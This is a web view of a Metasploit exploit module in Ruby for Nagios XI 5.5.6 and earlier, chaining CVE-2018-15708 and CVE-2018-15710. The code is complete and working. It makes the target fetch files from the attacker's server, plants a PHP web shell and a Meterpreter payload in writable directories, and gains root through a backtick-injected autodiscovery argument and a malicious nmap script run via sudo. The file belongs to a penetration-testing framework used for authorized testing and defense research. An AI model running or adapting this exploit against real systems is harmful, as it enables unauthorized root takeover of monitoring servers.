PageRenderTime 45ms CodeModel.GetById 14ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/linux/http/nagios_xi_magpie_debug.rb

https://github.com/rapid7/metasploit-framework
Ruby | 246 lines | 201 code | 33 blank | 12 comment | 19 complexity | 68f87f242a20fb0f701c04ca9eeb2127 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. Rank = ExcellentRanking
  7. include Msf::Exploit::EXE
  8. include Msf::Exploit::FileDropper
  9. include Msf::Exploit::Remote::HttpClient
  10. include Msf::Exploit::Remote::HttpServer::HTML
  11. prepend Msf::Exploit::Remote::AutoCheck
  12. def initialize(info = {})
  13. super(
  14. update_info(
  15. info,
  16. 'Name' => 'Nagios XI Magpie_debug.php Root Remote Code Execution',
  17. 'Description' => %q{
  18. This module exploits two vulnerabilities in Nagios XI <= 5.5.6:
  19. CVE-2018-15708 which allows for unauthenticated remote code execution
  20. and CVE-2018-15710 which allows for local privilege escalation.
  21. When combined, these two vulnerabilities allow execution of arbitrary
  22. commands as root.
  23. },
  24. 'License' => MSF_LICENSE,
  25. 'Author' =>
  26. [
  27. 'Chris Lyne (@lynerc)', # Discovery and exploit
  28. 'Guillaume André (@yaumn_)', # Metasploit module
  29. 'bcoles', # Additional writable paths and usability/reliability/cleanup fixes
  30. ],
  31. 'References' =>
  32. [
  33. ['CVE', '2018-15708'],
  34. ['CVE', '2018-15710'],
  35. ['EDB', '46221'],
  36. ['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
  37. ['URL', 'https://www.tenable.com/security/research/tra-2018-37']
  38. ],
  39. 'Platform' => 'linux',
  40. 'Arch' => [ARCH_X86, ARCH_X64],
  41. 'Targets' =>
  42. [
  43. ['Nagios XI <= 5.5.6', { version: Gem::Version.new('5.5.6') }]
  44. ],
  45. 'DefaultOptions' =>
  46. {
  47. 'RPORT' => 443,
  48. 'SSL' => true
  49. },
  50. 'Privileged' => true,
  51. 'DisclosureDate' => '2018-11-14',
  52. 'DefaultTarget' => 0,
  53. 'Notes' =>
  54. {
  55. 'Stability' => [ CRASH_SAFE ],
  56. 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
  57. 'Reliability' => [ REPEATABLE_SESSION ]
  58. }
  59. )
  60. )
  61. register_options([
  62. OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
  63. OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
  64. OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
  65. ])
  66. @WRITABLE_PATHS = [
  67. # writable as 'apache' user
  68. ['/usr/local/nagvis/share', '/nagvis'],
  69. # writable as 'apache' user
  70. ['/var/www/html/nagiosql', '/nagiosql'],
  71. # writable as 'nagios' group
  72. ['/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs', '/nagiosxi/includes/components/autodiscovery/jobs'],
  73. # writable as 'nagios' group
  74. ['/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp', '/nagiosxi/includes/components/highcharts/exporting-server/temp'],
  75. ]
  76. @writable_path_index = 0
  77. @webshell_name = "#{Rex::Text.rand_text_alpha(10..12)}.php"
  78. @meterpreter_name = Rex::Text.rand_text_alpha(10..12)
  79. end
  80. def on_request_uri(cli, _req)
  81. if @current_payload == @webshell_name
  82. send_response(cli, "<?php system($_GET['cmd'])?>")
  83. else
  84. send_response(cli, generate_payload_exe)
  85. end
  86. end
  87. def primer
  88. path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@current_payload}"
  89. print_status("Uploading to #{path} ...")
  90. res = magpie_debug("https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} -o '#{path}'")
  91. unless res
  92. print_error("Could not upload #{@current_payload} to target. No reply.")
  93. return false
  94. end
  95. unless res.code == 200
  96. print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
  97. return false
  98. end
  99. if res.body.include?('Error: MagpieRSS: Failed to fetch')
  100. print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
  101. return false
  102. end
  103. register_file_for_cleanup(path)
  104. end
  105. def upload_success?
  106. res = send_request_cgi(
  107. {
  108. 'method' => 'GET',
  109. 'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
  110. }, 5
  111. )
  112. unless res
  113. print_error("Could not access #{@current_payload}. No reply.")
  114. return false
  115. end
  116. unless res.code == 200
  117. print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).")
  118. return false
  119. end
  120. print_good("#{@current_payload} uploaded successfully!")
  121. true
  122. end
  123. def magpie_debug(url = '')
  124. send_request_cgi(
  125. {
  126. 'method' => 'GET',
  127. 'uri' => normalize_uri('/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'),
  128. 'vars_get' => {
  129. 'url' => url
  130. }
  131. }, 5
  132. )
  133. end
  134. def check
  135. res = magpie_debug
  136. unless res
  137. return CheckCode::Safe('No reply.')
  138. end
  139. if res.code == 200 && res.body.include?('MagpieRSS')
  140. return CheckCode::Appears('Found MagpieRSS.')
  141. end
  142. CheckCode::Safe
  143. end
  144. def execute_command(cmd, _opts = {})
  145. send_request_cgi(
  146. {
  147. 'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
  148. 'method' => 'GET',
  149. 'vars_get' => {
  150. 'cmd' => cmd
  151. }
  152. }, 5
  153. )
  154. end
  155. def exploit
  156. all_files_uploaded = false
  157. # Upload PHP web shell and meterpreter to writable directory on target
  158. for i in 0...@WRITABLE_PATHS.size
  159. @writable_path_index = i
  160. for filename in [@webshell_name, @meterpreter_name]
  161. @current_payload = filename
  162. begin
  163. Timeout.timeout(datastore['HTTPDELAY']) { super }
  164. rescue Timeout::Error
  165. if !upload_success?
  166. break
  167. elsif filename == @meterpreter_name
  168. all_files_uploaded = true
  169. end
  170. end
  171. end
  172. if all_files_uploaded
  173. break
  174. end
  175. end
  176. unless all_files_uploaded
  177. fail_with(Failure::NotVulnerable, 'Uploading payload failed')
  178. end
  179. meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
  180. print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}")
  181. res = execute_command('id')
  182. unless res && res.body.include?('uid=')
  183. fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
  184. end
  185. id = res.body.scan(/^(uid=.+)$/).flatten.first
  186. if id.blank?
  187. fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
  188. end
  189. print_good("Success! Commands executed as user: #{id}")
  190. print_status('Attempting privilege escalation ...')
  191. nse_path = "/var/tmp/#{Rex::Text.rand_text_alpha(10..12)}.nse"
  192. register_file_for_cleanup(nse_path)
  193. # Commands to escalate privileges, some will work and others won't
  194. # depending on the Nagios version
  195. cmds = [
  196. "chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
  197. "components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
  198. "echo 'os.execute(\"#{meterpreter_path}\")' > #{nse_path} " \
  199. "&& sudo nmap --script #{nse_path}"
  200. ]
  201. # Try to launch root shell
  202. for cmd in cmds
  203. vprint_status("Trying: #{cmd}")
  204. execute_command(cmd)
  205. break if session_created?
  206. end
  207. unless session_created?
  208. print_error('Privilege escalation failed')
  209. print_status("Executing payload as #{id} ...")
  210. execute_command("chmod +x #{meterpreter_path} && #{meterpreter_path}")
  211. end
  212. end
  213. end